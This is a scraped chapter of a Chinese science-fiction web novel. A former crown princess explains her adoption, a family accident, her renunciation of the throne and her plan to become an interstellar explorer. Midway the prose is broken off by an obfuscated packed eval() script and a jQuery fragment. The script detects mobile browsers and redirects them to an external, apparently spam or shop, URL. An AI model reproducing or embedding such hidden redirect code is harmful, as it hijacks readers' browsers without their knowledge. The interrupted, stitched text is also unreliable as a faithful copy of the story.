所以，当她被拜尔雷德勋爵夫妇收养时，她根本不用改口，她从一开始就是叫他们爸爸妈妈。至于她真正的那对父母，她会用更为疏远的两个词称呼他们——母亲，还有父亲。


    那么，在这样一种境况中出生并成长，她是否感到伤心？


    她告诉记者：不。


    小小的孩子头脑里没有任何预设的概念。不懂得自己的不曾拥有，也就不会为这缺失而感到伤痛。再说，她不是有爸爸妈妈吗？


    对她来说，亲生父母的死不是悲剧，他们心里有数，也让她心里有数，虽然好像来的有点太快了，太突然了，可是大家都知道他们会这么死：酷爱登山的人死在山上，酷爱潜水的人死在水里，艾琳娜公主和雷丁·拜尔雷德，死在天上。


    真正的悲剧是，爸爸妈妈，姐姐哥哥。那起事故。


    在那起事故发生之前，几乎身处帝国权力中心的尼珂·艾琳娜对政治毫无兴趣。亲生双亲酷爱的那项事业，她也感受不到丝毫吸引力。不过，她倒是也和他们一样，对上太空很感兴趣。那时候她已经开始接受和父母相似的训练，但不是为了开机甲，而是为了开飞船。她希望未来自己能成为一个星际探险家。


    是的，她会面临很多阻碍。人类各国普遍停止了对星际探险的资助。风险高，收获低，不划算。找到一个没有生命的类地行星，改造是桩麻烦事。找到一个有生命的类地行星，和外星生命接触更是桩麻烦的事。最重要的是，人太少了。扩张是为了给人类开辟生存空间，没有人跟上来的扩张毫无意义。


    当时的尼珂没有被这些理由吓退。善后工作是像她养兄那样的人所感兴趣的，她的兴趣只在于发现和开拓。她不在乎自己的兴趣有没有意义。


    那场事故打碎了一切。


    尼珂被皇帝收养，接进皇宫。她和皇帝谁也不相信那真的就是意外，然而他们好像在与全世界为敌，整个议会都没人支持皇帝继续追究。于是，皇帝做了一个大胆的决定：力排众议让尼珂成为皇储，凭空给自己生造了一个政治盟友。


    那一年年末，现任皇帝陛下降生，不幸失去了他本应与生俱来的皇储头衔。在他长到六岁的时候，尼珂和皇帝已经把帝国上上下下翻出来整理一新，他们不得不失望地接受这个事实：没有人策划了德米恩·拜尔雷德勋爵一家的不幸，那就是意外。


    拜尔雷德将军承认，她接受皇帝的提议，成为皇储的唯一理由，只是为了给爸爸一家报仇。当她查清真相，清楚自己没有仇人可恨时，她感到的莫大的空虚。她不知道往前该怎么走，而回头看，往日的生活也回不去了。


    在这种空虚的驱动下，她没有和皇帝商量就发表了声明，放弃皇储身份。这给皇帝带来了很多麻烦，然而一向把她当做她母亲来爱的皇帝，那时候没有责怪她。皇帝仍然愿意让她留在皇宫，作为皇族的一员，即使不为他分担公务，也可以作为家人，让庞大的皇宫不至于是那么空寂。


    所以她继续留在皇宫。为了弥补小皇储的损失，她花了很多时间和小皇储呆在一起。虽然因为各种复杂的原因，皇帝迟迟没有在程序上让事实皇储成为他的皇储，但他对这个儿子并不是不关心不爱护不满意。事实上，皇宫里的老人都能证明，他们三个共处一室时总是其乐融融。只不过后来，小殿下前往德里西留学，出于政治上的顾虑，皇帝不得不继续推迟他给他补齐法律手续的进程。后来他回国，皇帝便没有耽搁，立刻就签署了那些文件，让他的儿子称为他名正言顺的继承人。如果不是皇帝急症猝死，相信公众能看到更多前任皇帝和现任皇帝的温馨互动，让那些荒诞的流言不攻自破。


    现任皇帝去德里西留学后，尼珂也离开了皇宫。她脱离皇族，重新成为拜尔雷德家族的一员，并不是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753240|188148||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她和皇帝有什么矛盾，而是她想用这种方式找回她幸福的过去。不过，这尝试以失败告终。熟悉的人回不来了，熟悉的过去当然也回不来了。最终，她听取了事故幸存者，她那已经记忆丧失，性格改变，比她先一步走进新人生的养兄的建议——开始新的生活。


    她进入军校，接着，进入军部。她有意避开皇帝的关照，因为她不愿意得到什么特殊待遇，好像她仍然属于皇族。不过，就算不再做皇帝的女儿，她也是皇帝信任的后辈。她不否认这份信任在她的数次晋升中发挥了关键作用，使得她在这样轻的年纪就成了帝国的边防军总指挥官——帝国传统上只有皇储才会长期承担这样重要的职务。


    前任皇帝很信任她，所以，非常凑巧，在皇帝逝世前，他见的最后一个人是她。当时，皇帝与她谈论了刚刚归国的现皇帝，赞赏我们这位陛下的能力和品质，认为他未来一定会成为帝国又一个功勋卓著的路易斯·凯，引领帝国走向辉煌。


    尼珂向皇帝起誓，她会辅佐不遗余力的辅佐我们的陛下，为他扫清他继位初期所面临的所有障碍。至于再之后——她不能总留在这个位置，不是吗？


    事实上，对于她的未来，她已经有了明确的规划——她希望捡起儿时的梦想，成为一个星际探险家。虽然帝国明确不会再往这个项目投入大量资金，但她自己的资金——父母的遗产，养父母的遗产，皇帝的馈赠，多年工作的盈余——足够支持她买下一艘探索舰，组建一个星际探险队。当她认为时机合适的时候，她就会辞掉所有职务，乘上她的探索舰出发。她会驶出帝国的疆域，驶出人类已探明的星海。也许她会回来，带着新的星域的星图，像尤拉尼亚·宁汀格尔，又或者她不会，消失在杳茫的星海，如冯深。总之——


    还没听懂吗？


    前皇储的意思是，她不会和皇帝结婚。


    *